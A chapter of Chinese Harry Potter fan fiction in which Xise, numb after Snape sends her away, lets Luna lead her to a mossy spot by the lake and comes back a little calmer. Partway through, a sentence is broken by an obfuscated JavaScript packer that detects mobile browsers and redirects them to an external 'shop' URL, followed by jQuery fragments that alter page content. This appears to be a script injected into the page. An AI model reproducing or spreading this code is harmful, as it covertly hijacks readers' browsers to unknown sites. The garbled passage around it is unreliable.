被斯内普强制驱逐并打上“危险隐患”的标签后,西瑟回到了公共休息室。
四天过去了。
她从未感觉过如此“轻松”。除了上课、完成作业,她的生活被精简到了最原始的节奏:吃,睡。没有魔药,没有布局,甚至没有交流。大脑长时间处于一种空白而怠惰的状态,以至于她偶尔有种“所谓的O.W.Ls年,压力就这?”的感觉。
邓布利多没有找她,手腕上的共鸣之环始终沉寂。她只是每晚宵禁前,像个完成打卡任务的幽灵,沉默地走到地窖门口,让斯内普用那双冰冷的眼睛确认她“尚未疯狂”后,便转身离开,回到床上,沉入无梦的睡眠。
她知道自己近来的态度糟透了。哈利、罗恩,尤其是赫敏眼中那份小心翼翼的关切,她并非感受不到。只是她现在不想回应。她愿意用她的余生去和他们道歉、哀求、或者请罪...... 怎么都好。但现在,她只想被允许彻底“放空”。
于是,她用上了前所未有的、近乎残忍的冰冷语气,对再次试图靠近的赫敏说:“我需要时间。如果你们能暂时停止问我任何问题——这将是你们这辈子能帮我的、最大的忙。”
然后,她发现了一件更诡异的事:她竟然可以十分平静地,去思考“邓布利多死后”的世界。
她需要做什么?要和哈利他们一起去找魂器吗?穆迪该怎么救?斯内普又要怎么救?大战当天的福灵剂不够用怎么办?贝拉特里克斯会折磨赫敏,怎么阻止?老魔杖的主权怎么安全过渡到哈利手上?邓布利多死了,那二十个巨人,还会听从谁的号令?
一个接一个的问题提了出来,但她并不思考答案,只是任由它们浮现。她甚至有种恶意的趣味,跳出来,从一个“第三方视角”,饶有兴味地打量着“西瑟·瓦特”这个存在,嘲笑着她面前那条未来之路有多绝望。
--
去往第三温室上课的路上,西瑟低头看着自己的鞋子和不断移动的石板缝隙。
“嗨,西瑟。” 一个空灵的声音像气泡般浮现在她左侧。
卢娜·洛夫古德站在那儿,她正平静地望着西瑟,目光落在她耳朵上那对月光槲寄生耳环上。
西瑟没有抬头,脚步没有丝毫停滞,甚至没有减慢速度,她沉默地从卢娜身边滑了过去。
整节草药课,西瑟几乎都在机械地操作着,直到课程结束,她清洗完工具和双手,无视了朋友们关切的目光,一直等到所有人都离开了,才走出温室。
然后,她看到了她。靠近一扇高窗的拱门下,卢娜正等在那里。
她微微仰着头,看着窗玻璃上凝结的一小片雾气,手指无意识地绕着脖子上那串黄油啤酒瓶塞项链。她看起来那么......自在,仿佛等待本身就是一件和观察云彩形状一样自然又有趣的事。
西瑟的脚步最终停在了离她几步远的地方。
卢娜似乎察觉到了她的停顿,转过头,那双雾蒙蒙的银灰色眼睛看向西瑟。
“哦,你出来了。” 她的声音依旧飘忽,仿佛在陈述一个再明显不过的事实。“我猜得没错,它们确实更喜欢走廊里的回音。”
西瑟眨了眨眼,长时间空白的大脑处理这句话花了好几秒。
“......什么?” 她的声音有些干涩,太久没用于交流,听起来陌生极了。
“骚扰牤,” 卢娜认真地解释道,向前走了两步。她微微歪着头,像是在仔细打量西瑟周围的空气。“很大一群,银灰色的,嗡嗡响,专门吸走快乐。你进温室之前,它们密密麻麻地围着你,怪不得你没听见我打招呼。”
骚扰牤。
如果是平时,西瑟可能会微微一笑,然后礼貌地附和。但现在,她的脑子空空如也,那些用来分析、判断、维持社交礼仪的神经似乎都罢工了。她只是顺着卢娜的话,问出了一个完全不过脑子的问题:
“......它们在哪儿?”
卢娜的眼睛似乎亮了一点点,她伸出手指,小心翼翼地指向西瑟左肩上方一点点的地方,又画了个圈。“还有一些没散,主要盘踞在你耳朵后面和头顶,因为它们很喜欢你头发的颜色。”
西瑟下意识地抬手摸了摸自己的头发,当然,什么也摸不到。
“那......怎么赶走它们?” 她听见自己继续问,不去思考真实性,不去计较逻辑,只是......提出问题。这种不用负责、不用深想的感觉,似乎让她麻木的神经松弛了一丝。
“嗯......” 卢娜做出认真思考的样子。“通常大声唱歌或者突然跳起来会有用,但在这里可能会引来费尔奇。我知道一个地方,骚扰牤不太喜欢去,因为那里有荧光小蘑菇和会打呼噜的苔藓,气味会让它们打喷嚏。我们可以去那里‘清洗’一下。”
西瑟看着她。荧光的蘑菇和打呼的苔藓......
“......好。” 西瑟听到自己轻声说。
黄昏的光线斜斜地穿过城堡高窗,在石廊上投下暖金色的光斑。卢娜像一尾认路的银色小鱼,领着西瑟在逐渐稀少的人流中穿行。她们没有走向城堡深处,反而穿过一道不起眼的侧门,来到了城堡背阴面与黑湖接壤的一片小坡地。
这里的空气潮湿微凉,混合着泥土、腐烂树叶和某种若有若无的甜腥气。坡地上散落着大大小小的石头,石缝里顽强地钻出各种深绿、墨绿的植物。光线有点暗,但西瑟注意到,在一些特别潮湿的石头底部,或倒下的朽木背面,确实有一簇簇微小的、幽蓝色或淡绿色的蘑菇,像洒落的星屑。
“就是这里了。”卢娜在一处洼地前停下,这里蕨类植物格外茂盛。她示意西瑟听。西瑟屏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298937|188192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息,真的能听到一种极其细微的、类似熟睡时均匀呼吸的“呼噜......呼噜......”声,她无法辨认这种声音的来源,甚至有一刻真的认为,这些苔藓真的在打呼。
“坐下吧,这里很软和。”卢娜在一块覆满厚厚苔藓的石头上坐了下来,那里像一块天然的墨绿色绒毯,她拍了拍身边的位置。
西瑟迟疑了一下,还是走了过去,在她旁边坐下。苔藓柔软微凉,带着浓郁的、属于泥土和植物的气息。她抬头,透过稀疏的树冠能看到暗色的天幕。这里只有风声、湖水的轻响,以及那奇特的、苔藓的“呼噜”声。
两人就这样安静地坐了一会儿。西瑟感到长久以来麻木的神经,在这种原始的静谧中,奇异地、一丝丝地松懈下来。
她什么都没想。她只是......存在着。
她们坐了多久,西瑟没有概念。她只是记得卢娜和她回城堡后,把一小段刚刚在那里找到的,某种微凉的白色小叶子扣在了她袍领的地方,她没有仔细听这是什么东西,总之好像是一个“护身符”。
她低头看了看,好像真的感受到了某种安宁......
--
地窖的门被准时推开,西瑟的身影再次出现在门口。四天来,她每晚都像个苍白、沉默的幽魂,准时出现,眼神空洞,然后无声离去。斯内普例行公事地投去一瞥,确认她没有新的药物痕迹,没有更深的崩溃迹象。
但今晚,似乎有些不同。
在他准备移开视线、像前几晚一样用沉默打发她走时——
她极其轻微地,对他点了一下头。
不是问候,不是示好,是一种......确认完成某种程序后的、下意识的礼节性动作。但这比起前几晚彻底的漠然,已经是天壤之别。
紧接着,斯内普的目光落在了她校袍的领口。那里,别着一片奇特的、纯白色的叶子。它不属于任何常见草药,看起来有些像干燥的苔藓,又带着点蕨类的纤细。显得格外扎眼,甚至......有些可笑。
他拿起魔杖,杖尖对准西瑟领口的方向施了几个检测咒。
没有黑魔法痕迹。没有精神干扰。没有魔药痕迹。没有通讯或定位符文的残余。只是一片......苔藓或地衣碎片。
他下意识地想开口。
一句关于“审美品位跌至与巨怪同列”或“用垃圾装饰自己是否是你新的逃避方式”的讥讽已经到了舌尖。
但突然想起,几天前和邓布利多关于给她“一周休息”的约定,那些淬了毒的嘲讽被他硬生生咽了回去。喉咙里仿佛划过一道粗砺的砂石。
最终他只是给了她一个充满嫌弃的眼神,和一个示意她可以离开了的微小动作。
西瑟接收到了他的眼神和动作,转过身,像来时一样安静地离开了。